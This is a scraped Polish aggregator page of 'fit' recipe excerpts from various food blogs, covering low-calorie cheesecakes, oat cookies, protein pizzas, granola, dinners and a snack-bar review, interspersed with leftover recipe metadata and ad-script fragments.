fit - 16692 przepisów (strona:151/1113)

Sernik z borówkami dietetyczny jest bardzo łatwy do zrobienia i do tego smaczny. Fit sernik bez mąki, bez ubijania białek, bez spodu, a robi się go chwilkę gdyż od razu łączy się wszystkie składniki, ja nawet nie wyciągnęłam miksera, wszystko połączyłam ręczną trzepaczką. Sernik będzie mieć ok. 800 kcal, gdy zamiast zwykłego cukru wykorzystamy erytrol/ erytrytol, który ma słodki(...)kcal. Gdy wykorzystamy cukier to trochę więcej Sernik z borówkami można jeść na deficycie kalorycznym. Bo jeśli chcesz zjeść coś słodkiego i jednocześnie zachować figurę licząc kalorie to ten fit sernik będzie idealny dla Ciebie – można zamiast innego posiłku jeść go do woli pod warunkiem, że doliczymy go do dziennej liczby zjedzonych kalorii! Inspiracją do jego upieczenia był

wyłóż drugą część kremu – wyrównaj. Całość możesz jeszcze posypać pokruszonymi ciasteczkami. Gotowe ciasto włóż do lodówki do stężenia (na kilka godzin, a najlepiej na noc). Zobacz przepis na FIT sernik bez pieczenia: FIT SERNIK BEZ PIECZENIA – aż 20 g białka na porcję 200 kcal! | GYMBEAM Sprawdź inne przepisy na ciasta i desery bez pieczenia

ciasto z tofu Wegański sernik z owocami na kruchym cieście. To pyszne ciasto przygotowane na bazie „serka” z tofu! Sernik z owocami –… ZOBACZ PRZEPIS FIT Malinowa chmurka bez pieczenia – niskokaloryczne ciasto! Ciasto malinowa chmurka bez pieczenia w wersji FIT, czyli niskokalorycznej i ze zdrowszymi zamiennikami składników. Dodatkowo ciasto przygotujesz szybko –… ZOBACZ(...)PRZEPIS Szarlotka bez pieczenia! Wegańska fit szarlotka na spodzie z płatków owsianych Szarlotka bez pieczenia z budyniem na spodzie z płatków owsianych! To przepis na zdrowe ciasto z jabłkami w wersji wegańskiej… ZOBACZ PRZEPIS Czekoladowe ciasto z mascarpone i malinami – rolada z mascarpone Przepis na ciasto z mascarpone, skyrem i malinami – to pyszna czekoladowa rolada! Ciasto

wiśniami przekładane rurkami z kremem Wiśniowa Rurka – czyli przekładane rurkami z kremem ciasto z wiśniami, galaretką i serkiem homogenizowanym. To ciasto doskonale nadaje się… ZOBACZ PRZEPIS FIT SERNIK BEZ PIECZENIA – aż 20 g białka na porcję 200 kcal! | GYMBEAM Wysokobiałkowy fit sernik! To kremowe ciasto o smaku orzecha laskowego z dodatkiem kakao. Całość na pysznym(...)wiśniami przekładane rurkami z kremem Zakupy spożywcze online – komfort, wygoda i oszczędność czasu Catering wegetariański – dieta wege w cateringu Dietering Zupa z fasolki szparagowej z kurkami FIT DESERY – 15 przepisów na desery w zdrowszej wersji

malinami sernik ze skyrem i winogronem Zobacz również przepisy na desery w pucharkach . PRZEPISY NA SERNIKI BEZ PIECZENIA Aby zobaczyć przepis, kliknij w zdjęcie lub nazwę danego przepisu. FIT SERNIK BEZ PIECZENIA – aż 20 g białka na porcję 200 kcal! | GYMBEAM Wysokobiałkowy fit sernik! To kremowe ciasto o smaku orzecha laskowego z dodatkiem kakao. Całość na pysznym(...)bieżąco – odwiedź social media bloga: Facebook Instagram Pinterest Sprawdź najnowsze przepisy 10 przepisów na SERNIKI BEZ PIECZENIA Sałatka z rukolą, camembertem i jajkiem Deser Kinder Bueno w pucharkach FIT SERNIK BEZ PIECZENIA – aż 20 g białka na porcję 200 kcal! | GYMBEAM Polecane desery i ciasta z borówkami – 10 PRZEPISÓW Sałatka warstwowa tarta na tarce

Znacie firmę Nicks? Ostatnio ta fit firma szturmem wchodzi na Polski rynek i możemy aktualnie wybierać wśród wielu różnych batonów w fit wersjach, a także od niedawna w niskokalorycznych lodach. Reklam tych batoników i lodów jest mnóstwo ale postanowiłyśmy kupić dwa najbardziej dla nas ciekawe słodkości i zrobić rozeznanie o co tyle szumu 😉  Dajcie znać czy jedliście(...)kochamy wszelkie wafelki i kruche ciastka ale tutaj zjadłyśmy jednego na pół i nie chciałybyśmy więcej. Jesteśmy też wyczulone na przesłodzikowanie, bo producenci lubią z nimi przesadzać w swoich fit produktach i tutaj właśnie tak było. Mamy w batonie 5 różnych słodzików, które razem dają naszym zdaniem niesmaczną mieszankę. Dodatkowo patrząc na opakowanie widzimy napis, że są to słodkości

deficycie kalorycznym i liczę kalorie, przestałam wykorzystywać w ciastach i deserach cukier, który zastępuję erytrolem. Ostatnio polecałam Wam pyszny torcik z owocami na malinowym skyrze , Kakaowy sernik z owocami fit bez cukru ., Kolejne moje pomysły na serniki słodzony erytrolem: – Sernik na zimno dietetyczny z borówkami i kiwi – Sernik kawowy dietetyczny z malinami – Sernik fit z truskawkami i galaretką(...)Moje fit ciasto na zimno składa się ze zmiksowanego chudego serka i galaretki, z dodatkiem mandarynek, wierzch to mandarynki i naturalna galaretka bez cukru. Ciasteczka to jedyny grzeszny dodatek który można całkowicie pominąć. Spod to : -150 g ciasteczek w stylu delicji, Tortownicę wykładamy papierem i układamy ciasteczka w tortownicy ok 18-.20 cm. Zostały 2 sztuki, które wykorzystałam

musem jabłkowym bez cukru, są z dodatkiem żurawiny oraz mielonych i siekanych migdałów, 1 sztuka ma 37 kcal. Z tej ilości wychodzi 20 sztuk całość ma 744 kcal. Fit ciasteczka owsiane z bananem i śliwkami suszonymi , bez mąki, bez jajka i bez cukru pokazywałam już na blogu, te dzisiejsze są jeszcze smaczniejsze. Bananowo-owsiane ciasteczka bez dodatków można podjadać(...)owsiane z żurawiną i czekoladą Ciasteczka owsiane z rodzynkami Ciasteczka owsiane z bakaliami ciasteczka owsiane białkowe Ciasteczka owsiane z żurawiną miodowe ciasteczka owsiane z orzechami i migdałami Składniki na fit ciasteczka owsiane bez mąki, bez cukru i bez jajek: 1 banan (105 kcal) 100 g płatków owsianych (365 kcal) 100 g musu jabłkowego bez cukru (65 kcal

Przepis na fit pizzerinki z dużą ilością białka. Pizzerinki na spodzie z ciasta na bazie serka wiejskiego. Do przygotowania pizzy nie potrzebujesz drożdży, ciasto nie musi wyrastać, a co za tym idzie przygotujesz je błyskawicznie. Wystarczy wszystko wymieszać za pomocą. Masę wystarczy wymieszaj za pomocą zwykłej łyżki, wyłożyć na blachę do pieczenia i najzwyczajniej upiec. Uwielbiam takie banalnie proste(...)sztuka ma tylko oko\u0142o 100 kcal i du\u017c\u0105 ilo\u015b\u0107 bia\u0142ka.","keywords":["ananas","Jajka","m\u0105ka pszenna","ser \u017c\u00f3\u0142ty","serek wiejski","pizzerinki fit","fit pizza","pizza z du\u017c\u0105 ilo\u015bci\u0105 bia\u0142ka","pizza na spodzie z serka wiejskiego","pizza z serkiem wiejskim"],"author":{"@type":"Person","name":"Martyna Pietruszka

wierzchu. Dla tych, co na diecie jest idealny, a dla tych, co nie liczą kalorii, obowiązkowo z dokładką:) Bardzo polecam! Polecam również inne desery na zimno Panna cotta fit z truskawkami  Panna cotta fit z mango (na jogurcie) Tiramisu z jagodami Truskawkowe serce - sernik na zimno z truskawkami Pascha waniliowa Sernik na zimno z borówkami na szpinakowym(...)cieście Kajmakowy sernik na zimno  Fit sernik na zimno z chia i mango Składniki: 400g serków quark  200ml jogurtu skyr  3 łyżeczki żelatyny 100ml mleka 3 łyżki ksylitolu (erytrolu/cukru) łyżeczka ekstraktu z wanilii 3 łyżki nasion chia warstwa owocowa: 200ml pure z mango (lub innych owoców, np. truskawek, brzoskwiń, malin, śliwek) 1 łyżeczka żelatyny dodatkowo

składników odżywczych, takich jak witaminy, minerały i kwasy tłuszczowe. W tym artykule przedstawiam Wam 15 przepisów na kokosowe ciasta, ciasteczka i desery. Przepisy na kokosowe ciasta, ciasteczka i desery! FIT DESER RAFFAELLO – zdrowy kokosowy deser w 10 minut Przepis na fit deser Raffaello – zdrowy deser w pucharku, który przygotujesz w 10 minut! Ten kokosowy deser przygotujesz(...)ciasto z pulpą z mango Mango to jeden z moich ulubionych owoców – słodkie, soczyste i ma piękny kolor. Na pewno wiele osób uważa tak… ZOBACZ PRZEPIS FIT CIASTO RAFAELLO BEZ PIECZENIA – zdrowa wersja (wegańskie) Pewnie kojarzysz ciasto Rafaello robione na herbatnikach – bardzo szybkie i pyszne. W swojej szafce znalazłam macę (placki, które w… ZOBACZ

Naszą pizzę zapiekamy w temperaturze 180 stopni przez około 10 minut. Przed podaniem posypujemy obficie rukolą i polewamy sosem czosnkowym.  przekąski, tortilla, danie obiadowe, przepis, przepisy, fit, dietetyczne, zdrowe, rukola, pizza, fit pizza, dietetyczna pizza

gładkiej, lepkiej masy.  2. Mięsem oblepiamy patyczki. Pieczemy w temperaturze 200 stopni przez około 30 minut. kofta, kofty, greckie kofty, mielone wołowe, mięso wołowe, wołowina mielona, grecja, obiad, fit danie, fit obiad, przepis, przepisy, dietetyczne, zdrowe

Faszerowane pomidory „Fit przepisy od Baletnicy„ 3. Mięsne kłębuszki i pizzerinki „NieFIT przepisy od Baletnicy„ 4. Pulpeciki z piekarnika „Fit przepisy od Baletnicy„ 5. Torcik śliwka w czekoladzie „NieFIT … Czytaj dalej Baletnica inspiruje

niepotrzebnych dodatków. W składzie powinna być tylko śmietanka i ew. żywe kultury bakterii. Stabilizatorom i zagęstnikom mówimy stanowcze nie. Tłuste mleko Jak widzicie, panna cotta nie jest fit deserem – tutaj im więcej tłuszczu, tym lepiej 😉 I to potwierdza się też w przypadku mleka. Wybierzcie to o zawartości min. 3,2 % tłuszczu. Wanilia Dla najlepszego, najbardziej naturalnego i wyrazistego

lunch do pracy czy szybką kolację. Smakuje wybornie na zimno i na ciepło. Posiłek brunch, drugie śniadanie, kolacja, lunch, śniadanie Kuchnia europejska, polska Słowo kluczowe brunch, cheddar, drugie śniadanie, fit śniadanie, jedzenie na piknik, kolacja ze znajomymi, lunch, lunch do pracy, pomysł na zdrowe śniadanie, por, quiche, śniadania, szybka kolacja, tarta, tarta wytrawna, tarta z porem, tarta z szynką

Pietruszka Danie: Naleśniki Kuchnia: Polska Trudność: Łatwe Ilość 4 sztuki Przygotowanie 20 min. Smażenie 20 min. Kalorie 130 kcal Placuszki bananowe z pełnoziarnistymi płatkami żytnimi. Bez mąki i cukru. Fit placuszki bananowe na śniadanie lub zdrowy deser. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: PLACUSZKI BANANOWE 2 banany 1 łyżka miodu 1 jajko 1 łyżeczka proszku do pieczenia 80 g płatków żytnich(...)/placuszki-bananowe-500x500.jpg","https:\/\/prostepesto.pl\/wp-content\/uploads\/2022\/01\/placuszki-bananowe-500x375.jpg","https:\/\/prostepesto.pl\/wp-content\/uploads\/2022\/01\/placuszki-bananowe-480x270.jpg"],"description":"Placuszki bananowe z pe\u0142noziarnistymi p\u0142atkami \u017cytnimi. Bez m\u0105ki i cukru. Fit placuszki bananowe na \u015bniadanie lub zdrowy deser.","keywords":["banan","orzechy w\u0142oskie","p\u0142atki pe\u0142noziarniste","placuszki bananowe","placuszki z bananami o rzechami","placuszki bez m\u0105ki

Papryki faszerowane z kaszą jaglaną „Fit przepisy od Baletnicy Sezonowo„ Zupa krem z kalafiora „Fit przepisy od Baletnicy Sezonowo„ Gołąbki z kapust pekińskiej „Fit przepisy od Baletnicy Sezonowo„ Ciasto marchewkowe … Czytaj dalej Gotuję z Baletnicą

pyszności w Święta dobrze byłoby, aby choć część dań była w odrobinę lżejszej formie. W poprzednim wpisie skupiłam się na daniach wytrawnych – teraz czas na ciasta. Wybrałam wersje fit najpopularniejszych ciast: makowca, sernika i piernika. Z jednej strony tradycyjne – z drugiej – w zupełnie innej formie. Makowiec to propozycja lekko odchudzona – smakuje bosko! Sernik jest bezglutenowy(...)bezcukrowy, zaś piernik – to mega zdrowe ciasto na bazie fasoli. Kiedyś myślałam, że ciasta w wersji fit na Święta to coś niemożliwego – okazuje się że można. Jeśli przygotowujecie “lżejszą” Wigilię pamiętajcie, że najważniejsza rzecz (szczególnie jeśli chodzi o słodkości) to nie przygotowywać ich zbyt dużo. Kiedyś normą było u mnie 5-6 rodzajów ciast. Potem

Sałatka z burakiem i fetą „Fit przepisy od Baletnicy Sezonowo„ Zapiekanka serowa z gruszkami „Fit przepisy od Baletnicy Sezonowo„ Pomidorowa z twarogiem „Fit przepisy od Baletnicy„ Sałatka z brokułem i … Czytaj dalej Gotuję z Baletnicą

Zupa krem z kalafiora „Fit przepisy od Baletnicy Sezonowo„ Szarlotka „Fit przepisy od Baletnicy Sezonowo Pizza na lawaszu Tarta z masa dyniową Śliwki pod kruszoną orzechową „Fit przepisy od Baletnicy„ … Czytaj dalej Gotuję z Baletnicą

Deser snickers – wersja fit czyli bez dodatku cukru . Słodycz uzyskujemy z erytrytolu lub odżywki białkowej oraz z daktyli. Przyznam szczerze, że celowałam w deser jednoporcjowy, ale wiele przepisów korzysta z żelatyny. Ostatecznie stworzyłam własny, bez dodatku żelatyny, i jest przepyszny! Ale, 500 ml deseru zdecydowanie jak dla mnie nie jest jednoporcjowe Polecam rozdzielić go na kilka posiłków(...)panierce Kulebiak z kapustą i grzybami Jajeczne placki z cukinii (keto) Pierogi z kapustą i grzybami (wegańskie) Sos kurkowy Kapusta z grzybami Najnowsze przepisy Deser snickers – wersja fit Curry z cukinią (wegańskie) Focaccia tradycyjna (wegańskie) Keto sernik raffaello Zupa z fasolki szparagowej Ciasteczka francuskie z bananami (wegańskie) Krem z brokułów ze szpinakiem (keto, low carb, wegański) Quiche

rozgrzewający obiad bez mięsa. Będzie wyśmienicie smakować po jesiennym spacerze. Posiłek kolacja, lunch, obiad Kuchnia indyjska, orientalna Słowo kluczowe curry, curry z dynią, curry z soczewicą, dynia, dynia piżmowa, fit obiad, imbir, indyjskie curry, jarski obiad, jednogarnkowiec, kumin, kurkuma, mleczko kokosowe, mleko kokosowe, obiad bez mięsa, obiad dla dwojga, obiad dla rodziny, obiad dla singla, obiad

Knedle serowe ze śliwkami „Fit przepisy od Baletnicy„ Ciasto francuskie z figami Brownie z banana i batata „Fit przepisy od Baletnicy Sezonowo„ Placuszki z manny „Fit przepisy od Baletnicy„ Pulpeciki … Czytaj dalej Gotuję z Baletnicą

smaki z całego świata! Od jakiegoś czasu malwina prowadzi również bloga make bento not war, na którym  … Artykuł Recenzja książki „Lunchbox na każdy dzień” – Fit Bento Malwiny Bareła pochodzi z serwisu

czasu, a smak jest cały czas świetny. Kurczak korma z dynią – z czym podawać? To orientalne danie możecie podawać z delikatnym ryżem – basmati lub jaśminowym . W wersji fit może to być też ryż pełnoziarnisty. Do kormy świetnie pasuje też pyszny chlebek naan . Przed podaniem warto posypać kormę płatkami migdałów i świeżo posiekaną kolendrą. SPRAWDŹ TEŻ: Inne sprawdzone

pomidorami to pyszny dodatek do obiadu lub samodzielne danie główne. Idealnie smakuje z kromką świeżego chleba. Posiłek dodatek do obiadu, obiad Kuchnia polska Słowo kluczowe dodatek do obiadu, fit obiad, jarski obiad, kapusta, kapusta z pomidorami, klasyczny obiad, młoda kapusta, obiad bez mięsa, obiad dla rodziny, obiad na dwa dni, obiad wegetariański, pomysł na szybki obiad, prosty obiad, rodzinny

zawiera żółtek, ale jest i mascarpone , biszkopty i kawa i kakao, więc za takie podrobione tiramisu jak najbardziej to ciasto może uchodzić :) Nie jest ono też całkiem fit, co prawda nie zawiera cukru, ale jednak i mascarpone i śmietanka kremówka trochę kalorii mają. Można jednak przygotować lżejszą wersję, używając serka skyr zamiast śmietanki, na pewno będzie równie pyszne(...)kilka najlepszych, więc tu też nimi trochę zaspamowałam :) Składniki (tortownica o średnicy 21 cm): 250 g serka mascarpone 500 ml śmietanki kremówki 30 % lub 500 g skyru waniliowego (wersja fit) 1/2 szklanki ksylitolu 1 łyżka żelatyny + 1/4 szklanki zimnej wody 100 ml kawy opakowanie podłużnych biszkoptów ok. 200 g malin kakao Wykonanie: Maliny umyć i osuszyć. Tortownicę wyłożyć papierem

foremki 23x10cm) dość mocno ugniatając by masa była zwarta.  4. Pieczemy w temperaturze 180 stopni przez 1 godzinę.  pasztet z cukinii, pasztet cukinia, dania obiadowe, przekąski, fit przekąska,fit zdrowa imprezowa przekąska, zdrowo, kasza jaglana, dietetyczna, dietetyczne, dietetyczny

Prosty i zdrowy deser z truskawkami to moja kontynuacja zainteresowaniem tych szybkich i zdrowych przekąsek. Powiem szczerze, że naprawdę mi się to spodobało Poprzedni był z wykorzystaniem czereśni ( deser fit ) i jogurtu. A tym razem również jogurt, ale także skyr, pasta sezamowa, chia no i truskawki. Sami powiedzcie bardzo fajne i zdrowe połączenie. Warstwę kakaową przygotowałam dzień wcześniej, ponieważ(...)Całość ma 1390 kcal. Jeżeli podzielimy tą całość faktycznie na 5 porcji, to jedna wyniesie 278 kcal. Prosty i szybki deser z truskawkami Prosty i zdrowy deser z truskawkami Fit deser z truskawkami Szybki deser z owocami Jogurtowy deser z chia i pastą sezamową Smacznego!!! Justyna Artykuł Prosty i zdrowy deser z truskawkami pochodzi z serwisu Relaxtime

Obwarzanki serowe „Fit przepisy od Baletnicy„; Jabłka w cieście „Fit przepisy od Baletnicy Sezonowo„; Rolada biszkoptowa z serkiem „Fit przepisy od Baletnicy„; Koreczki; Sałatka z ryżem i brokułami

zastosować kruche ciasto! jednak zaczął się sezon na rabarbar więc rwiemy rabarbar, obieramy i smażymy... Link do filmu z przepisem: 170 -Kruche ciasto z rabarbarem i kruszonką - Przepis na FIT ciasto BEZ CUKRU! -Jak smażyć rabarbar?        Kruche ciasto: 027 -KRUCHE CIASTO baza do ciast, ciasteczek i różnych deserów -Jak zrobić KRUCHE CIASTO? -PRZEPIS(...)Kruszonka:   169 - Kruszonka BEZ CUKRU - Jak zrobić FIT kruszonkę? - Prosty PRZEPIS!     Składniki: kruche ciasto, przepis znajdziesz tutaj: 027 -KRUCHE CIASTO baza do ciast, ciasteczek i różnych deserów -Jak zrobić KRUCHE CIASTO? -PRZEPIS! 1-1,2kg rabarbaru (już obranego) erytrytol lub inny słodzik (cukier, ksylitol itp.) kopiasta łyżka mąki ziemniaczanej kruszonka, przepis znajdziesz tutaj: 169 - Kruszonka

Jamiego Olivera To pomidorowe risotto z przepisu Jamiego Olivera ma zdecydowanie mniej kalorii niż klasyczna wersja, ale za to więcej smaku! Posiłek kolacja, obiad Kuchnia włoska Słowo kluczowe bazylia, fit obiad, jarski obiad, kuchnie świata, obiad bez mięsa, obiad dla dwojga, obiad wegetariański, pomidorowe risotto, pomidory, risotto, ryż, szybki obiad, tani obiad, wege, włoski obiad Całkowity czas przygotowania

jeszcze odwiedzić stronę internetową producenta. Wybieram zalewę – najczęściej do mojego koszyka trafia tuńczyk w oliwie z oliwek. Dzięki niej ryba utrzymuje wyrazisty smak. Czasem, gdy chcę być bardziej fit, wybieram wersję w sosie własnym. Makaron z tuńczykiem i… aromatycznymi dodatkami Kuchnia włoska wyjątkowymi smakami stoi. Jednym z takich smaków są na pewno kapary. W sklepach możemy

Rozpłaszczać na blaszce na grubość około 1 cm. Piec na złoty kolor przez 25 min. Po tym czasie ciastka przełożyć na kratkę do całkowitego wystudzenia. Smacznego! Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit

Rozpłaszczać na blaszce na grubość około 1 cm. Piec na złoty kolor przez 25 min. Po tym czasie ciastka przełożyć na kratkę do całkowitego wystudzenia. Smacznego! Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit .pf-button.pf-button-excerpt { display: none

Domowa granola to super baza do najzdrowszego, najprostszego i pysznego fit śniadania. W połączeniu z owocami i jogurtem smakuje jak deser na dzień dobry. Domowa granola jest przy tym bardzo zdrowa i zapewnia energię na pół dnia. Zrobienie własnej granoli – bez chemii i cukru – jest bardzo proste. Pokażemy Ci jak to zrobić. Czas przygotowania: 5 minut Czas(...)pieczenia : około 30 minut Liczba porcji : 12 Fit śniadanie – domowa granola Proponujemy Ci dziś nasz sprawdzony przepis na granolę własnego wyrobu. Przepis jest mega prosty, a efekt zawsze doskonały. Domowa granola to chrupiąca przyjemność na początek dnia, przyjemny deser na dzień dobry. Skład możesz ustalić według własnego upodobania. Baza jest zawsze taka sama: płatki owsiane, jęczmienne, albo orkiszowe

prawdę warto! (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszamy także do zapoznania się z naszym przepisem na tradycyjny sernik, który znajdziecie tutaj: Tradycyjny Sernik PRZEPIS NA DOMOWY SERNIK BEZ SPODU W WERSJI FIT Masa serowa: 1 kg twarogu z wiaderka   100g cukru  3 łyżki cukru wanilinowego 30 g masła 6 jajek (rozmiar M) 30g skrobi ziemniaczanej  30g mąki

około 300 kcal. Czy, wiesz ile, ruchu potrzebujesz, by go spalić? To np. 15 min wchodzenia po schodach lub 120 min prasowania. Co powiesz na pączki w wersji fit? Możesz też wybrać dietetyczne pączki , które zdecydowanie mają mniej kalorii, niż te tradycyjne. Różnią się one sposobem przygotowania – nie są smażone na głębokim tłuszczu, lecz pieczone. Często w ich produkcji(...)wykorzystuje się mąkę orkiszową lub razową oraz niskosłodzoną marmoladę i gorzką czekoladę. Fit pączki można zamówić w wielu cukierniach lub upiec samodzielnie. Wykonaj samodzielnie smakołyki z przepisów na tłusty czwartek Poszukaj idealnych dla ciebie przepisów na tłusty czwartek. Może to być przepis na pączki jak nasz przepis na pączki serowe oponki z białym twarogiem , przepis na faworki jak nasz

prosty przepis Domowa granola to idealny pomysł na pyszne, zdrowe i pożywne śniadanie. Świetnie smakuje z mlekiem lub jogurtem. Posiłek deser, lunch, przekąska, śniadanie Kuchnia amerykańska Słowo kluczowe daktyle, fit śniadanie, granola, morele suszone, orzechy laskowe, orzechy włoskie, pestki dyni, płatki owsiane, płatki śniadaniowe, pomysł na zdrowe śniadanie, śniadania, śniadania na słodko, szybkie śniadanie, żurawina Całkowity czas przygotowania

wyobraźni i upodobań. Drukuj Czekoladowe pancakes Obłędnie czekoladowe, puszyste amerykańskie pancakes to idealny pomysł na leniwe śniadanie czy zdrowy deser. Posiłek deser, przekąska, śniadanie Kuchnia amerykańska Słowo kluczowe czekolada, fit śniadanie, kakao, kefir, pancakes, placki, placki śniadaniowe, pomysł na zdrowe śniadanie, śniadania, śniadania na słodko Całkowity czas przygotowania 25 min. Porcje 4 porcje Autor Agnieszka | na-talerzu.pl Składniki

koktajlowymi Pyszny i lekki obiad, który świetnie sprawdzi się podczas kolacji we dwoje, jak i na spotkaniu ze znajomymi. Posiłek kolacja, obiad Kuchnia europejska, hiszpańska, śródziemnomorska, włoska Słowo kluczowe fit obiad, jednogarnkowiec, krewetki, makaron, niedzielny obiad, obiad bez mięsa, obiad dla dwojga, obiad dla singla, obiad na dwa dni, obiad z makaronem, pomidory, spaghetti, szpinak, szybki obiad, włoski obiad

Dzisiaj mam dla Was przepis na najprostsze, najszybsze i najsmaczniejsze, cudownie puszyste FIT ciasto z owocami. Niezastąpione w okresie letnim, kiedy królują sezonowe, pachnące słońcem truskawki, morele, jagody, borówki, porzeczki czy maliny. Co więcej, zawsze … The post Puszyste FIT ciasto z owocami appeared first on FitSweet

Moja miłość do mini deserów nie słabnie. Stąd kolejny FIT deser w słoiku, tym razem inspirowany popularnym batonikiem Kinder Country. Aksamitnie kremowy z chrupiącym zbożowym akcentem i polany aromatyczną gorzką czekoladą ? Co więcej, mimo … The post FIT Kinder Country w słoiku appeared first on FitSweet

ilości odwiedzających, ostatni deser w słoiczku o smaku Kinder Country bardzo Wam zasmakował. Dlatego dzisiaj chciałabym się z Wami podzielić kolejnym przepisem inspirowanym kultowym batonem, tym razem Snickersem. FIT Snickers w słoiku to … The post FIT Snickers w słoiku appeared first on FitSweet

odmienić klasyczne ciasto, aby miało więcej wartości odżywczych, mniej kalorii i stało się super FIT ciastem? Nic trudnego, wystarczy, że zastąpicie słabej jakości składniki zdrowszymi, wartościowymi produktami. Właśnie tak staram się zazwyczaj robić i … The post Owsiane ciasto z jabłkami i orzechową kuszoną FIT appeared first on FitSweet

Kremy NUTLOVE marki ALLNUTRITION ze sklepu SFD rozkochały mnie w sobie miłością bezgraniczną! Ostatnio pokazywałam Wam fantastyczne FIT CIASTKA CZEKOLADOWE , a dziś zapraszam na coś pysznego na śniadanie ( choć i słodki obiad też zdecydowanie może być! ). Mam dla Was przepis na nadziewane pancakes! Lekkie, delikatne ciasto wypełnione obficie kolejnym smakiem mojego ukochanego kremu NUTLOVE – tym razem postawiłam(...)wybierzcie coś dla siebie! A zdecydowanie jest w czym wybierać! https://sklep.sfd.pl/ . . Ps. na blogu znajdziecie też inne pancakes, które możecie nadziać kremem – zobaczcie ! The post FIT PANCAKES KOKOSOWE NADZIEWANE KREMEM NUTLOVE COCO CRUNCH first appeared on Ostra na Słodko - blog kulinarny

Moje ciasto marchewkowe fit nie zawiera mąki pszennej ani białego cukru, za to smakuje świętami Dodatek przyprawy do piernika, orzechów i mąki gryczanej nadaje mu głębokiego, korzennego smaku. Jest smakowitym, małym co-nieco nie tylko dla osób na diecie bezglutenowej i bezlaktozowej. Ciasto marchewkowe to jedno z bardziej lubianych ciast zarówno przez dzieci, jak i dorosłych – zgodzicie się(...)przedstawiam przepis na ciasto marchewkowe z orzechami, ale jeśli wolisz inne bakalie, to możesz zastąpić orzechy np. żurawiną albo rodzynkami. Ten przepis jest elastyczny pod względem dodatków CIASTO MARCHEWKOWE FIT Składniki: 150 g marchewki 200 g mąki gryczanej 2 banany 50 g orzechów włoskich 2 jajka 100 ml miodu 100 ml oleju 2 łyżeczki proszku do pieczenia 2 łyżki

roku na blogu zrobiły niesamowitą furorę i okazały się prawdziwym hitem! Zainspirowana tymi wypiekami przygotowałam dla Was kolejny przepis na ciasto z patelni, ale tym razem z dietetycznej, zdrowszej, FIT wersji. To był genialny pomysł! Ciasto okazało się tak pyszne, że przepis musi wylądować na blogu! Jest niesamowicie wilgotne i delikatne. Banany wspaniale osładzają całość i przełamują „oklepany(...)kiedy ciasto już delikatnie się zetnie. Posypujemy wtedy również posiekanymi orzechami. UWAGA! Na ostatnie 10 minut przewracamy na drugą stronę – pomagając sobie zsunięciem na pokrywce. Smacznego! The post FIT CIASTO WANILIOWO-KAKAOWE Z BANANAMI - Z PATELNI! BEZ PIECZENIA! first appeared on Ostra na Słodko - blog kulinarny

spożywczym. Drukuj Kurczak faszerowany szpinakiem i fetą Pyszny i bardzo prosty obiad dla całej rodziny, który przypadnie do gustu nawet największym niejadkom! Posiłek obiad Kuchnia europejska, polska Słowo kluczowe fit obiad, kurczak, niedzielny obiad, obiad dla dwojga, obiad dla rodziny, obiad na dwa dni, obiad z kurczakiem, pierś z kurczaka, rodzinny obiad, zdrowy obiad Całkowity czas przygotowania

chleba czy bułki. Drukuj Zupa dyniowa – najprostsza Idealna zupa na jesienny obiad – aksamitnie kremowa, sycąca i przepyszna! Posiłek lunch, obiad, zupa Kuchnia amerykańska, polska Słowo kluczowe dynia, fit obiad, obiad bez mięsa, obiad dla rodziny, obiad wegetariański, szybki obiad, tani obiad, zdrowy obiad, zupa, zupa dyniowa, zupa krem Całkowity czas przygotowania 45 min. Porcje 6 porcji Autor

Muffinki z dżemem Dziś zapraszam na puszyste muffinki z dżemem - fit (z dodatkiem zdrowej mąki i bez cukru ) albo w wersji tradycyjnej (słodkiej, z mąką pszenną). Moje łatwe babeczki z dżemem zawsze się udają. Jeśli lubicie zdrowe desery, do ich wypieku świetnie sprawdzi się mąka orkiszowa (pół na pół jasna z pełnoziarnistą) albo ciecierzycowa. Muffinki z mąką z ciecierzycy(...)ograniczyć jego ilość.  Tradycyjne muffinki z dżemem , cukrem i mąką pszenną również są pysznym deserem. Podobnie jak przy muffinkach orkiszowych, możecie zastąpić połowę jasnej mąki mąką pełnoziarnistą.  Fit muffinki z dżemem albo klasyczne nadziewane babeczki - które wybieracie? Smacznego:) TUTAJ znajdziecie więcej przepisów na zdrowe desery, a TUTAJ więcej przepisów na muffinki:) Jeśli lubicie szybkie wypieki, polecam również

kalafiorem pod chrupiącą posypką Idealna zapiekanka na rodzinny obiad. Prosta w przygotowaniu i bardzo zdrowa, z dodatkiem aromatycznej i wspaniale chrupiącej, ziołowej posypki. Posiłek obiad Kuchnia polska Słowo kluczowe fit obiad, kalafior, makaron, obiad bez mięsa, obiad dla dwojga, obiad dla rodziny, obiad wegetariański, wege, zapiekanka Całkowity czas przygotowania 1 hour Porcje 6 porcji Autor Agnieszka | na-talerzu.pl Składniki

obiad, kolację, a także posiłek do pracy. Robi się je w podobny sposób jak tradycyjne placki ziemniaczane. Cukinia nadaje im delikatny i ciekawy smak. Jeśli macie ochotę na fit placki z cukinii i ziemniaków , koniecznie zapoznajcie się z poniższym przepisem. Smacznego! Składniki: 500 g cukinii 500 g ziemniaków 2 jajka M 4 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej(...)kilka minut na każdej stronie. Z porcji można otrzymać około 20 placuszków. Placki można położyć na ręcznik papierowy, by papier wchłonął nadmiar tłuszczu. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Fit Placki z Cukinii i Ziemniaków pochodzi z serwisu Przepiski.pl

cukinią i sosem cytrynowym Pyszny pomysł na lekki i szybki obiad. Chrupiąca cukinia i aromatyczny, cytrynowy sos to wyśmienite połączenie. Posiłek kolacja, obiad Kuchnia europejska Słowo kluczowe cukinia, feta, fit obiad, jarski obiad, makaron, makaron z cukinią, makaron z sosem, obiad bez mięsa, obiad dla dwojga, obiad dla singla, obiad wegetariański, szybki obiad, tani obiad, zdrowy obiad Całkowity czas

odpowiednio skomponowaną dietę. A to możliwe. Wystarczy się tylko trochę postarać. A w razie potrzeby także poszukać odpowiedniej pomocy. W tym celu nawet nie trzeba wychodzić z domu. Życie fit Na czym polega dieta Adele? Efekty diety sirtuinowej Żyj fit, odchudzaj się z głową Życie w stylu fit jest w dzisiejszych czasach bardzo modne. A to bardzo

